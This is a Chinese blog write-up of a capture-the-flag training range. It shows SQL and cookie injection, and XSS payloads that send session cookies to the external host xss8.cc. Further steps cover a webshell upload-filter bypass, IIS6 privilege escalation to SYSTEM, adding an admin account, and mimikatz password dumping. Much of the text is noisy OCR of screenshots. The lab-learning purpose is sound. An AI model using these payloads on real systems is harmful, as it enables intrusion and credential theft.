# 封神台在线靶场--尤里的复仇 I 小芳! 【8题】

# 原创

F.N嘿嘿 ● 于 2021-10-20 22:24:48 发布 ● 1342 ◆ 收藏 3
 文章标签: 网络安全
 版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
 本文链接: https://blog.csdn.net/feiniaotjx/article/details/120847903
 版权

### 尤里的复仇 I 小芳! 【8题】

- 第一章:为了女神小芳!
- 第二章:遇到阻难!绕过WAF过滤!
- 第三章:为了更多的权限! 留言板!
- 第四章:进击!拿到Web最高权限!
- 第五章: SYSTEM! POWER!
- 第六章: GET THE PASS!
- 萌新也能找CMS漏洞
- 基础工具运用:爆破管理员账户登录后台

封神台-掌控安全在线演练靶场

## 第一章:为了女神小芳!

没有防护的sql注入,查看到有sql注入点 http://rhiq8003.ia.aqlab.cn/?id=1 or 1=1

一 一 一 一 一 一 一 一 一 一 一 一 一		
□ 中 查看器 ● HackBar □ 控制台 □ 调试器 1 网络 {} 样式编辑器 ① 性能 ①	内存 😑 存储 🛉 无障碍环境 🎬 应用程序	<b>9</b> 1
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -		Commit now! Hack
Load URL http://rhiq8003.ia.aqlab.cn/?id=1 or 1=1		
Split URL		
Execute     Post data Referer User Agent Cookies     Add Header	Clear All	CSDN @F。N 嘿嘿

Kinge Catters     A E Catters     A E Catters     A E Catters     A E Catters     D	国短毛和波 。费成绩。我 Dega
□ 查看器 ● HackBar □ 控制台 □ 调试器 1 网络 1 样式编辑器 ○ 性能 ① 内存 吕 存储 〒 无障碍环境 2 应用程序	
Encryption - Encoding - SQL - XSS - LFI - XXE - Other -	
Load URL     http://rhiq8003.ia.aqlab.cn/?id=1 and 1=1 order by 2	
Execute     Post data Referer User Agent Cookies Add Header Clear All	SDN @F。N 嘿嘿

### 发现字段数位2

### http://rhiq8003.ia.aqlab.cn/?id=1 and 1=1 order by 3

	そ 中 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 本 で 、 本 で 、 本 で 、 本 で 、 本 で 、 本 で 、 本 で 、 、 、 、 、 、 、 、 、 、 、 、 、	音页 3.0 · · · · · · · · · · · · · · · · · · ·	
	扫码领取网络安	全 × 黑 客 入 门	教程
Encryption - Encoding - SQL - XSS - LFI - XXE -	Other -		
Load URL http://rhiq8003.ia.aqlab.cn/?id=1 and 1=1 order Split URL Execute Post data _ Referer _ User Agent _	by 3 Cookies Add Header Clear All	lii	

# 查看数据库和用户名,并得知显示第二个字段

http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select user(),database()

	中巴猫舍 APE 猫舍 AINBA CATTERY COCOSOCIONAL Imashe	・       ・	
C      D      查看器     ● HackBar     D      控制台     D      调试器     八     网络     ()     样	式编辑器 🥥 性能 🕕 内存 😑 存储	★ 无障碍环境 器 应用程序	1999 - A. B.
Encryption - Encoding - SQL - XSS - LFI - XXE -	Other -		
Load URL http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union	select user(),database()		
X Split URL		li.	
● Execute			
📋 Post data 📋 Referer 📋 User Agent 📋 (	Add Header Clear All		CSDN @F。N 嘿嘿

### 查表

http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,table\_name from information\_schema.tables where table\_schema='maoshe'





#### 因为只显示一个字段,故可用 limit 达到输出第1,2,3个数据等

http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,column\_name from information\_schema.columns where table\_name='admin' limit 1,1

	Username	
	© 2009 掌控者	No. 1
	扫码领取网络安全×黑客入i	了教程 🧱
CR 中 査看器 Encryption -	● HackBar D 控制台 D 调试器 1 → 网络 { } 样式编辑器 介 性能 ①:内存 日 存储 十十 无障碍环境 闘 应用程序 Encoding - SQL - XSS - LFI - XXE - Other -	
	http://thin8003.ia.anlah.cp/2id=1.and 1=2 union select 1 column_name from information_schema.columns	
Split URL	where table_name='admin' limit 1,1	
Execute	Post data Referer User Agent Cookies Add Header Clear All	CSDN @F。N 嘿嘿

### 查到第三个数据的字段位 password

http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,column\_name from information\_schema.columns where table\_name='admin' limit 2,1



### 查字段的内容,得到flag

#### http://rhiq8003.ia.aqlab.cn/?id=1 and 1=2 union select 1,password from admin



## 第二章:遇到阻难!绕过WAF过滤!

当点击新闻时,会出现 ?id=,测试发现注入点

#### http://kypt8004.ia.aqlab.cn/shownews.asp?id=169 order by 10

	上海凡太克工程机械有限公司增设喷丸
·行业新闻	
技术资料	发布者:admin 发布时间:2009-8-24 13:33:19 阅读: <mark>3180次</mark>
产品问答	项目名称:上海凡太克工程机械有限公司增设喷丸、喷漆工艺项目 项目性质:扩建 建设地点:上海市嘉定区徐行
资质证书	镇浏翔公路4918号 投资总额:500万元 建筑面积:约300平方米 2. 建设项目主要内容 本项目为上海凡太克工 程机械有限公司在原生产厂区车间内增设喷丸、喷漆工艺



### 发现有10个字段

http://kypt8004.ia.aqlab.cn/shownews.asp?id=169 order by 11

	Katha California	网站首	両   关于我们	]   产品	中心!	新闻中
	● 新闻中心		数据库出错			
	·企业新闻					
	·行业新闻					
	·技术资料					
	·产品问答					
	<b>掌控安全学院</b> 黑客安全》 现在点击	<ul> <li>● 点击进入</li> <li>● 点击进入</li> <li>● 点击进入</li> <li>● 点击进入</li> </ul>				
					and the second	Alana kan a
▶ ○ 查看器	HackBar D 控制台 D 调试器 1 网络	\$ {}样式编辑器 ?	● 性能 ① 内存	🗄 存储	★ 无障	碍环境
Encryption -	Encoding - SQL - XSS - LFI -	XXE - Other -				
Load URL	http://kypt8004.ia.aqlab.cn/shownews.a	sp?id=169 order by	11			
🛠 Split URL						
Execute	🗌 Post data 🔲 Referer 🔲 User Age	ent 🗌 Cookies	Add Header	lear ABD	N @F, N	嘿嘿

很多sql语句被黑名单限制

#### 🕀 kypt8004.ia.aqlab.cn

传参错误!参数 的值中包含非法字符串!

请不要在参数中出现:and update delete ; insert mid master 等非法 字符!



### 尝试之后发现可用使用cookie注入,有注入点

Raw Params Headers Hex	Raw Headers Hex Render
1 GET /shownews.asp HTTP/1.1	
2 Host: kypt8004.ia.aqlab.cn	
3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101	
Firefox/93.0	
4 Accept:	
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/webp, */*;q=0.8	
5 Accept-Language: zh-CN, zh;q=0. 8, zh-TW;q=0. 7, zh-HK;q=0. 5, en-US;q=0. 3, en;q=0. 2	
6 Accept-Encoding: gzip, deflate	· 死前由人 · · · · · · · · · · · · · · · · · · ·
7 Connection: close	
8 Keferer: http://kypt8004.1a.aqlab.cn/Newsclass.asp?BigClass=%L6%F3%D2%55%D0%C2%CE%C5	
9 Cookie: 10-109	上江和时上海县大克工程机械有限公司提设
1) opgrade Insecure Requests. I	行业输出
12	
12	·技术资料
	·产品问答 项目名称:上海凡太克工程机械有限公司增设喷丸、喷漆工艺项目 项目
	请词辩从\$1012号 投资首\$500万元 建装面积-约200平方米 2 建设机
T T	「「「「「「」」」 「「「」」」 「「」」」 「」」」 「」」」 「」」」 「」」」 「」」」 「」」」 「」」」 「」」」 「」」」 「」」」 「」、 「」」」 「」、 「」」」 「」、 「」」」 「」、 「」」」 「」、 「」」」 「」、 「」」) 「」、 「」」) 「」、 「」」 「」、 「」」) 「」、 「」」) 「」、 「」、 「」、 「」、 「」、 「」、 「」、 「」、
⑦ ↔ → Search 没有匹配 In Pretty	

尝试 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 提示数据库出错,再尝试猜测字段admin是否在库中, union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10 from admin,正确回显了可显示的字段: 2.7.8.9

Raw Params Headers Hex	Raw Headers Hex Render	
<pre>1 GET /Shornews.asp HTTP/1.1 2 Host: kypt8004.ia.aqlab.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 4 Accept: text/html.application/xhtml+xml.application/xml:q=0.9, image/avif, image/webp, */*;q=0.8 5 Accept-Language: zh=CN, zh:q=0.8, zh=TW;q=0.7, zh=HK;q=0.5, en=US;q=0.3, en;q=0.2 6 Accept-Encoding: gzip, deflate 7 Connection: close 8 Referer: http://kypt8004.ia.aqlab.cn/NewsClass.asp?BigClass=%C6%F3%D2%B5%D0%C2%CE%C5 9 Cookie: id=169+union+select+1, 2, 3, 4, 5, 6, 7, 8, 9, 10+from+admin] 10 Upgrade-Insecure-Requests: 1 11 12</pre>	● 新聞中心         ■ 2           企出新司         「           行出新司            行出新司            技术该科            ·产品问答         3           愛质证书            ·算校女全学校            · 理校定公式 (本) 長 長 長 男 日	2 6时间:8 阅读:9次
	现在点击免费学!	CSDN @F。N 嘿嘿

在可显示的字段位数上查询admin表里是否存在 username 和 password,结果显示了存在username和password

Raw Params Headers Hex	Raw Headers Hex Render
<pre>1 GET /shownews.asp HTTP/1.1 2 Host: kypt8004.ia.aqlab.cn 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0 4 Accept: text/html.application/xhtml+xml.application/xml:q=0.9, image/avif, image/webp, */*;q=0.8 5 Accept-Encoding: gzip, deflate 7 Connection: close 8 Referer: http://kypt8004.ia.aqlab.cn/NewsClass.asp?BigClass=%C6%F3%D2%E5%D0%C2%CE%C5 9 Cookie: id=169+umion+select+1.username, 3, 4, 5, 6, password 8, 9, 10+from+admin 10 11 12</pre>	新御中心     admin     企业編     行业領     行业領     技术資料     方品问     交质证书     交质正书     交面表入     変好な学院     写好な学院     すかかいたいまれ

现在点击免费学!

用MD5解密passsword

再御剑扫出后台

域名:	http://kypt8004.ia.aqlab.cn/		正在扫描	停止扫描	
线程:		🗹 ASPX: 42529		☑ 探测200	
超时:	✓ (秒 超时的页面被丢车) □ mp, eo71	PHP: 52816		□ 探测403	
<u></u>		✓ J21: 19/39		□ オ末沢リコスム	
扫描信息	見: http://kypt8004.ia.aqlab.cn/chantry/		扫描线程: 20	扫描速度: 384/3	秒
ID	地址			HTTP响 <u>应</u>	^
11	http://kypt8004.ia.aqlab.cn/upfile_photo.asp			200	
12	http://kypt8004.ia.aqlab.cn/upfile_Other.asp			200	
13	http://kypt8004.ia.aqlab.cn/Upfile_Product.asp			200	
14	http://kypt8004.ia.aqlab.cn/download.asp			200	
15	http://kypt8004.ia.aqlab.cn/UserReg.asp			200	
16	http://kypt8004.ia.aqlab.cn/admin/login.asp			200	
17	http://kypt8004.ia.aqlab.cn/admin/conn.asp			200	
18	http://kypt8004.ia.aqlab.cn/admin/SouthidcEditor/PopUp.asp			200	
18	http://kypt8004.ia.aqlab.cn/admin/Southidceditor/datas/South	idcEditor.mdb		200	
20	http://kypt8004.ia.aqlab.cn/admin/Southidceditor/upload.asp			200	
21	http://kypt8004.ia.aqlab.cn/inc/config.asp			200	
22	http://kypt8004.ia.aqlab.cn/inc/md5.asp			200	
23	http://kypt8004.ia.aqlab.cn/inc/conn.asp			200	
24	http://kypt8004.ia.aqlab.cn/index.as%70			200	
25	http://kypt8004.ia.aqlab.cn/logo.gif			200	
26	http://kypt8004.ia.aqlab.cn/product.asp			200	
27	http://kypt8004.ia.aqlab.cn/upload_Dialog.asp			200	
28	http://kypt8004.ia.aqlab.cn/userregpost.asp			200	
29	http://kypt8004.ia.aqlab.cn/admin/admin.asp			200	
30	http://kypt8004.ia.aqlab.cn/index.asp%2e			200	¥
			CSD	N@F。N嘿	嘿

	密文: b9a2a2b5dt 类型: 自动	fb918c	▼ [帮助]		
		查询	加密		
查询结果: welcome				CSDN @F。N 嘿!	嘿
					沓

后台登录系统

企业网站管理系统 竟然成功进入了后台!拿走通关KEY,迎接下一关吧! zkz{welcome-control}

# 第三章:为了更多的权限!留言板!

使用xss平台(https://xss8.cc),接收到管理员的cookie 首先创建一个项目

我的项目	创建 .	创建项目
		项目名称 ha
我的模块	创建	项目描述
		hei
公共模块		<u>赞助会员功能:</u> 自定义短域名(非会员系统自动生成默认4位随机域名)
网址跳转		请输入1-4位短域名,只可输入学母和数学区分大小与,可同时创建(AA,aa)
社工钓鱼跳转		下一步 取消
浏览器密码获取修复		CSDN @F。N 嘿嘿

### 勾选这两个选项

我的项目	创建	配置代码
ha - [项目ID:28263]		项目名称
		ha
我的模块	创建	<ul> <li>✓ 超强默认模块 展开 需要配置的参数</li> <li>⑥ 无keepsession ○ keepsession</li> </ul>
公共模块		<ul> <li>□ apache httponly bypass 展开</li> <li>▼ xss.js 折叠 模块说明;</li> </ul>
网址跳转		一些常用xss模块。本模块单独使用无任何意义。(须配合其他模块使用)
社工钓鱼跳转		例如本平台中的【form表单劫持(通用明文记录)】这个模块,当使用此模块时,必须必须必须勾选这个模块。否则,上面说的模块无法使用。
浏览器密码获取修复		● □ AJAX POST/GET操作 展开 CSDN @F。N 嘿嘿

将下面的代码复制到存在xss漏洞的地方

# 项目名称: ha

### 如何使用:

将如下代码植入怀疑出现xss的地方(注意的转义),即可在项目内容观看XSS效果。

当前项目URL地址为: https://xss8.cc/JgiT 【注

【注意新增https,插入对方网站代码前缀http或者https都可】

</tExtArEa>'"><sCRiPt sRC=//xss8.cc/JgiT></sCrIpT>

### 或者

'"><input onfocus=eval(atob(this.id)) id=dmFyIGE9ZG9jdW1lbnQuY3JlYXR1RWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHB z0i8veHNz0C5jYy9KZ2lUIjtkb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEpOw== autofocus>

><img src=x ia=amFyiGE92G9JaW11DnQuY3J1YAK1KWX1DWVUaCg1c2N9AXB011K/YSS2CmM91mn0aHB2018VEHN2UC5JY94K22101JT kb2N1bWVudC5ib2R5LmFwcGVuZENoaWxkKGEp0w== onerror=eval(atob(this.id))>

</tEXtArEa>'"><img src=# id=xssyou style=display:none onerror=eval(unescape(/var%20b%3Ddocument.createElemen t%28%22script%22%29%3Bb.src%3D%22https%3A%2F%2Fxss8.cc%2FJgiT%22%2BMath.random%28%29%3B%28document.getElemen tsByTagName%28%22HEAD%22%29%5B0%5D%7C%7Cdocument.body%29.appendChild%28b%29%3B/.source));//>

<img src=x onerror=s=createElement('script');body.appendChild(s);s.src='//xss8.cc/JgiT';>

下方XSS代码过一般WAF [注意如果直接把代码放入Burp,则需要把下方代码进行URL编码]

<embed src=https://xss8.cc/liuyan/xs.swf?a=e&c=doc\u0075ment.write(St\u0072ing.from\u0043harCode(60,115,67,8
2,105,80,116,32,115,82,67,61,47,47,120,115,115,56,46,99,99,47,74,103,105,84,62,60,47,115,67,114,73,112,84,6
2)) allowscriptaccess=always type=application/x-shockwave-flash></embed>

主题:	<script src="//xss8.cc/nhpU"></script> *
内容 *:	<script src="//xss8.cc/nhpU"></script>
公司名称:	: sRC=//xss8.cc/nhpU> *
公司地址:	<script src="//xss8.cc/nhpU"></script>
邮编:	<scrip< th=""></scrip<>
联系人:	<pre>ipU&gt; *</pre>
联系电话:	<pre>//xss8.cc/nhpU&gt; *</pre>
手机:	://xss8.cc/nhpU>
联系传真:	<pre>i.cc/nhpU&gt;</pre>
E-mail:	<pre>i.cc/nhpU&gt;</pre>
	提交留言 重写
	CSDN @F。 NI嘿嘿

果,得到cookie,里面存在flag

在到平台查看结

	+全部	时间	接收的内容	Request Headers	操作
	折叠	2021-10-19 21:59:11	<ul> <li>location : http://59.63.200.7 9:8004/FeedbackView.asp</li> <li>toplocation : http://59.63.20 0.79:8004/FeedbackView.as</li> <li>p</li> <li>cookie : ASPSESSIONIDSS CARTAB=KOAPKMECPIFF PPINCKHBNCBL; flag=zkz {xsser-g00d},ADMINSESSIO NIDCSTRCSDQ=LBMLMBC CNPFINOANFGLPCFBC</li> <li>title : 掌控安全学院实战演练 靶场</li> <li>charset : GB2312</li> <li>platform : Win32</li> <li>screen : 1920x1080</li> <li>htmlyuanma :</li> </ul>	<ul> <li>HTTP_USER_AGENT: Moz illa/5.0 (Windows NT 6.1; W OW64) AppleWebKit/534.34 (KHTML, like Gecko) Phanto mJS/1.9.7 Safari/534.34</li> <li>REMOTE_ADDR: 59.63.20 0.79</li> <li>IP-ADDR: 操作系统: Windows 7 浏览器: Safari(版本:unknow n)</li> </ul>	删除
			<html xmlns="http://www.w3.or&lt;br&gt;g/1999/xhtml"><head> <https: td="" www.w3.or<=""><td>CSDN @F</td><td>,N嘿嘿</td></https:></head></html>	CSDN @F	,N嘿嘿

# 第四章:进击!拿到Web最高权限!

将此cookie复制到下面的登录页面

- location : http://59.63.200.7
   9:8004/FeedbackView.asp
- toplocation : http://59.63.20
   0.79:8004/FeedbackView.as
- cookie : ASPSESSIONIDSS CARTAB=LCBPKMECIHCJ ENPKBKBCIIJI; flag=zkz{xs ser-g00d},ADMINSESSIONI DCSTRCSDQ=LBMLMBCC NPFINOANFGLPCFBC
- title : 掌控安全学院实战演练 靶场
- charset : GB2312
- platform : Win32
- screen : 1920x1080
- htmlyuanma :

- HTTP\_USER\_AGENT : Moz illa/5.0 (Windows NT 6.1; W OW64) AppleWebKit/534.34 (KHTML, like Gecko) Phanto mJS/1.9.7 Safari/534.34
- REMOTE\_ADDR : 59.63.20 0.79
- IP-ADDR: 操作系统: Windows 7 浏览器: Safari(版本:unknow n)

CSDN @F。N 嘿嘿

删除

使用后台管理者的cookie直接登录到后台

```
1 GET /admin/default.asp HTTP/1.1
2 Host: d19k8005.ia.aglab.cn
```

- 3 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) 6 Gecko/20100101 Firefox/93.0 4 Accept:
- text/html, application/xhtml+xml, application/xml;q=0. 9, image/avif, image/w ebp, \*/\*;q=0. 8 5 Accept-Language:
- zh-CN. zh:a=0. 8. zh-TW:a=0. 7. zh-HK:a=0. 5. en-US:a=0. 3. en:a=0. 2

1 HTTP/1.1 200 OK 2 Date: Wed, 20 Oct 2021 10:04:22 GMT 3 Server: Microsoft-IIS/6.0 4 X-Powered-By: ASP.NET 5 Content-Type: text/html 6 Cache-control: private 7 Content-Length: 2144 8 Connection: close

<pre>6 Accept-Encoding: gzip, deflate 7 Connection: close 8 Cookie: ASPSESSIONIDSSCARTAB=CJAPKMECHPODH+MFNPMMAOFL; ADMINSESSIONIDCSTRCSDQ=LEMLMBECCNPFINOANFGLPCFBC 9 Upgrade=Insecure=Requests: 1 10 Cache=Control: max=age=0 11 12</pre>	10 11 12 13 14 15 16	<pre><html> <html> <html> <html> chead&gt; <meta content="text/html;charset=utf-8" http-equiv="Content-Type"/> <title></title></html></html></html></html></pre>	
	18	backwoonb=color.A+bob; } CSDN @F。N 嘿!	凰

### 找到上传webshell的位置

	🖸 代码 🔄 设计 🖉 文本 🕥 预览	ф <b>—</b>
产品图片:	浏览 未选择文件。	上传
已通过审核:	☑ 是 (如果选中的话将直接发布)	
首页显示:	✔ 是 (如果选中的话将在首页显示)	
首页新品显示:	✔ 是 (如果选中的话将在首页显示为新品展示)	
录入时间:	2021-10-20 18:26:26 当前时间为: 2021-10-20 注意不要改变格式。	
	添加	CSDN @F。N 嘿嘿

1.asp,被拦截

🕀 dl9k8005.ia.aqlab.cn
这种文件类型不允许上传!
只允许上传这几种文件类型:gif jpg bmp png swf doc rar cer
确定



上传

将1.asp与图片合成一张新的图片,变成2.gif 将2.gif改为2.cer再上传



### 蚁剑连接

C:/	●新建 マ ←上层 22 刷新 希主目录 ■书签	£ ▼ D:/05/	→ 读取
- D:/	名称	日期    大小	属性
⊜05			
UploadFiles	dð Add.ASP	2013-04-07 18:15:00	4.34 Kb 32
- 06	🚯 CompHonor.asp	2019-04-10 15:58:08	4.03 Kb 32
Databases	🚯 CompVisualize.asp	2019-04-10 15:58:08	9.88 Kb 32
Images	ගී CompVisualizeBig.asp	2019-04-10 15:58:08	5.84 Kb 32
Img	🚯 Download.asp	2019-04-10 15:58:08	3.86 Kb 32
- Inc	DownloadShow.asp	2019-04-10 15:58:08	7.19 Kb 32
Menu admin	b Edit.css	2010-04-16 17:39:00	2.17 Kb 32
flash	🚯 Editor.asp	2013-04-07 18:15:00	58.2 Kb 32
imgbly	Error.ASP	2013-04-07 18:15:00	3.24 Kb 32
imgbyw	FLAG!.txt	2018-03-30 19:26:00	24 b 32
— <b>E</b> :/		2019-04-10 15:58:08	9.43 Kb 32
	In a state of the state of	2013-04-07 18:15:00 1	.0.13 Kb 32
	FeedbackSave.asp	2013-04-07 18:15:00	2.23 Kb 32
	FeedbackView.asp	2019-04-10 15:58:08	9.04 Kb 32
	6 Foot.asp	2013-04-07 18:15:00	1.1 Kb 32
	GetPassword.asp	2013-04-07 18:15:00	9.76 Kb 32
	ගි Head.asp	2013-04-07 18:15:00	
		5	DN OF, N RR

#### 得到flag

□ 编辑: D:/05/FLAG!.txt			
日常	存		
1	zkz{G3t_the_admin!Sh3ll}		

# 第五章: SYSTEM! POWER!

我使用蚁剑会出错,之后就换成菜刀了



将cmd.exe和iis6.exe上传,这里已经有人上传过了,直接拿来用iis6.exe

🛅 D:\05\UploadFiles\	🛅 D: \05\VploadFiles\ 🕹 🗸 🙀						
59.63.200.79	目录(0),文件(67)	名称	时间	大小	属性		
C: Documents and Comments and Documents and	C: Documents and Settings Inetpub Program Files RECYCLER System Volume Information web WINDOWS WINDOWS WINDOWS 05 05 06 admin Databases flash Inages Ing imgbly Menu VploadFiles phpStudy RECYCLER	20215794743400. cer	2021-05-07 09:47:43	98045	32		
C Inetpub		a 2021722103412890. cer	2021-07-22 10:34:12	5330	32		
System Volume		a 202172211059576.cer	2021-07-22 11:00:59	5330	32		
WINDOWS		202172211133651.cer	2021-07-22 11:13:03	134	32		
⊡ 🧇 D: ⊡ 🧰 05		■ 2021722111342179. jpg	2021-07-22 11:13:42	279	32		
(1) 06 (1) admin		a 2021722111513253. eer	2021-07-22 11:15:13	279	32		
📄 Databases 🛅 flash		■ 2021722113236847.jpg	2021-07-22 11:32:36	830	32		
□ Images □ Img □ imeblu		2021722113429786. cer	2021-07-22 11:34:29	6372	32		
imgbiy imgbyw ingbyw		2021722113822522.cer	2021-07-22 11:38:22	6372	32		
🚞 Menu 🗁 UploadFile		🔳 omd. exe	2020-08-13 21:57:06	201728	32		
C phpStudy		∎ iis6.exe	2019-05-27 17:22:13	41472	32		
🧰 System Volume 🧼 E	2 Information	md5. txt	2019-05-27 17:31:39 CS	156 DN @F。	32 N 嘿嘿		

这里使用了cmd,没有使用iis.exe,是普通权限



使用iis.exe提权,得到系统权限



添加新用户

D:\05\> net user abc 用户名 全名 注释	abc
用户的注释 国家(地区)代码 帐户启用 帐户到期	000(系统默认值) Yes 从不
上次设置密码 密码到期 密码可更改 需要密码 用户可以更改密码	2021-10-20 23:22 2021-12-2 22:09 2021-10-20 23:22 Yes Yes
允许的工作站 登录脚本 用户配置文件 主人资录	111 从不
可允许的登录小时数	LLA
本地组成员 全局组成员 命令成功完成。	*Ŭsers *None CSDN@F。N 嘿嘿

将用户添加到Administrator组里

```
D:\05\> iis6.exe "net localgroup Administrators abc /add"
[IIS6Up]—>IIS Token PipeAdmin golds7n Version
[IIS6Up]—>This exploit gives you a Local System shell
[IIS6Up]—>Set registry OK
[process walking]: 2192 wmiprvse.exe
[IIS6Up]—>Got WMI process Pid: 2192
[Try 1 time...]
[IIS6Up]—>Found token NETWORK SERVICE
[IIS6Up]—>Found token NETWORK SERVICE
[IIS6Up]—>Found token SYSTEM
[*]Running command with SYSTEM Token...
[*]Command: net localgroup Administrators abc /add
[+]Done, command should have ran as SYSTEM!
命令成功完成。
 D:\05\> net user abc
 用户名
                                                                         abc
  (学名)注释
      户的注释
家(地区)代码
户启用
户到期
                                                                        000(系统默认值)
                                                                         Yes
从不
       次设置密码
码到期
码可更改
                                                                        2021-10-20 23:33
2021-12-2 22:21
2021-10-20 23:33
   Ŧ
                                                                         Yes
  南斉岢以更改密码
                                                                         Yes
         许的工作站
录脚本
                                                                        All
            酒匮文件
             溶录
                                                                         从不
                                                                        A11
  可允许的登录小时数
```



进程号

D:\05\> tasklist -svc 映像名称 PID 服务 | 辞智智智智。 System Idle Process System 284 smss.exe csrss.exe winlogon.exe 356 services.exe 404 Eventlog, PlugPlay 416 HTTPFilter, PolicyAgent, ProtectedStorage, lsass.exe SamSs svchost. exe 608 DcomLaunch 672 RpcSs 728 Dhcp, Dnscache svchost. exe svchost. exe 728 Dhop, Dnscache 756 LmHosts, W32Time 792 AeLookupSvc, Browser, CryptSvc, dmserver, EventSystem, helpsvc, lanmanserver, lanmanworkstation, Netman, Nla, Schedule, seclogon, SENS, ShellHWDetection, TrkWks, winmgmt, wuauserv, WZCSVC 952 Spooler 980 MSDTC 1144 FESuce svchost. exe svchost. exe spoolsv.exe msdtc. exe 1144 ERSvc 1200 IISADMIN svchost. exe inetinfo. exe svchost. exe 1960 RemoteRegistry VGAuthService.exe 2020 VGAuthService 2064 VMTools 2324 W3SVC 2444 TermService vmtoolsd. exe svchost. exe

2444 TermServ1 2524 COMSysApp 3748 暂缺 2804 暂缺 700 暂缺 1660 暂缺 1996 暂缺 3832 暂缺

之后根据进程号查看开启的端口时多

CSDN @F。N 嘿嘿

netstat 查看端口号,开启了3389,可进行远程连接 (这两个步骤验证远程连接的端口号)

svchost. exe dllhost. exe

wmiprvse.exe csrss.exe winlogon.exe rdpclip.exe

explorer.exe Study

时

exe

C:\Users\tangjizzaaco>ping d19k8005.ia.aqlab.cn
正在 Ping d19k8005. ia. aq1ab. cn [59. 63. 200. 79] 具有 32 字节的数据: 来自 59. 63. 200. 79 的回复: 字节=32 时间=42ms TTL=50 来自 59. 63. 200. 79 的回复: 字节=32 时间=44ms TTL=50 来自 59. 63. 200. 79 的回复: 字节=32 时间=42ms TTL=50 来自 59. 63. 200. 79 的回复: 字节=32 时间=42ms TTL=50
59.63.200.79 的 Ping 统计信息: 数据包: 已发送 = 4,已接收 = 4,丢失 = 0(0% 丢失),
往返行程的估计时间(以毫秒为单位): 最短 = 42ms,最长 = 44ms,平均 = 42ms CSDN @F。N 嘿嘿

ip+端口号

👆 远程桌面连	接	_		×
New Jacobs Strategy (1994) wie	远程桌面 <b>车接</b>			
计算机( <u>C</u> ):	59.63.200.79:3389	~		
用户名:	未指定			
当你连接时将	向你询问凭据。			
💽 显示选项	i( <u>O</u> )	连接(N)	<b>帮助(H)</b> @F。小川	黑川黑

连接到目标主机,查看到flag

59.63.200.79:3389 また。 安全配置向导	- 远程桌面连接				— C	× :
<mark>♀C:\</mark> 文件 (F) 编辑 (E) 查看 (V)	收藏 (A) 工具 (T) 帮助 (H)				_ O X	
3 后退 ▼ ⑤ ▼ 🚯 ▶ 🎲 🔎 搜索	於 文件来 Ⅲ.					
<u>地址の) 〜 c·\</u>					- 📑 转到	
	▼ 名称 ▲	大小	类型			
<ul> <li>              ▲①             我的文档         </li> <li>             ◆ 本地磁盘 (C:)             </li> <li>             ◆ 本地磁盘 (C:)             </li> <li>             ● ○ Documents and Set             </li> <li>             ● □ Documents and Set             </li> <li>             ● □ Program Files             </li> <li>             ● □ Web             </li> <li>             ● □ WiNDOWS             </li> <li>             ● □ wepub             </li> <li>             ◆ 本地磁盘 (D:)</li></ul>	□ Jocuments and Settings □ Inetpub □ Program Files □ web □ WINDOWS □ wmpub □ flag.txt - 记事本 (件 또) 编辑 低) 格式 @) 查看 (V) <z{f3ck 3y3stem}<="" power="" th=""><th>1 KB 帮助(近)</th><th>义件<del>兴</del> 文件夹 文件夹 文件夹 文件夹 文本文档</th><th>2021-10-20 23:42 2018-10-18 1:04 2021-4-14 23:35 2019-5-27 17:22 2020-10-30 21:47 2018-10-17 15:36 2018-4-2 19:25</th><th>R</th><th></th></z{f3ck>	1 KB 帮助(近)	义件 <del>兴</del> 文件夹 文件夹 文件夹 文件夹 文本文档	2021-10-20 23:42 2018-10-18 1:04 2021-4-14 23:35 2019-5-27 17:22 2020-10-30 21:47 2018-10-17 15:36 2018-4-2 19:25	R	
				CS	DN @F.	N 嘿嘿

第六章: GET THE PASS!



将拒绝上面的

勾全部取消

. 想要找到小芳吗. zip 雇性		<b>? ×</b> 3							
常规 安全									
组或用户名称 (G):									
Administrator (GON) 🕵 Administrators (GON	Administrator (GONGKAIK-D45FB6\Administrator)								
🕵 SYSTEM									
	添加(型)								
Administrator 的权限 (P)	允许	拒绝							
完全控制	×								
读取和运行	×								
读取	$\checkmark$								
与人 特别的权限	~								
特别权限或高级设置,请单	单击"高级"。	高级(V)							
	-								
 	定	应用 (4)							
		DN @F, NUHH							

#### 发现查看需要管理员的登录密码

Burr 면기 🛍 C:\Documents and Settings\Administrator\杲面\想要孩到小方吗.zip 🗾 🗾 🔁 校到										
		名称 🔻	类型	打包	己	大小	比	日期		
文件夹任务 (注) 提取所有文件	*	19 想要找到小芳	文本文档	1 KB	是	1 KB	-7%	2019-1-16 19:57		
文件和文件夹任务	*									
<ul> <li>▶ 移动这个文件</li> <li>▶ 复制这个文件</li> <li>● 将这个文件发布到 Web</li> <li>▶ 删除这个文件</li> </ul>			清要寄り	· +47 767 4-10 75-1 -1.	++	4 97 ctr 17		X		
其它位置	*		🌮 葆喆。	想要找到小 请在下面的	唐吗.txt 框中输入	、 (文名)(3) 密码。		确定 Retricter and		
ि 桌面			密码(	Ð:				取消		
详细信息	*						(	CSDN @F。	N 嘿	嘿

### 使用mimikatz抓取密码

## privilege::debug,提升权限

sekurlsa::logonpasswords 导出明文密码,得到密码:wow!yougotit!

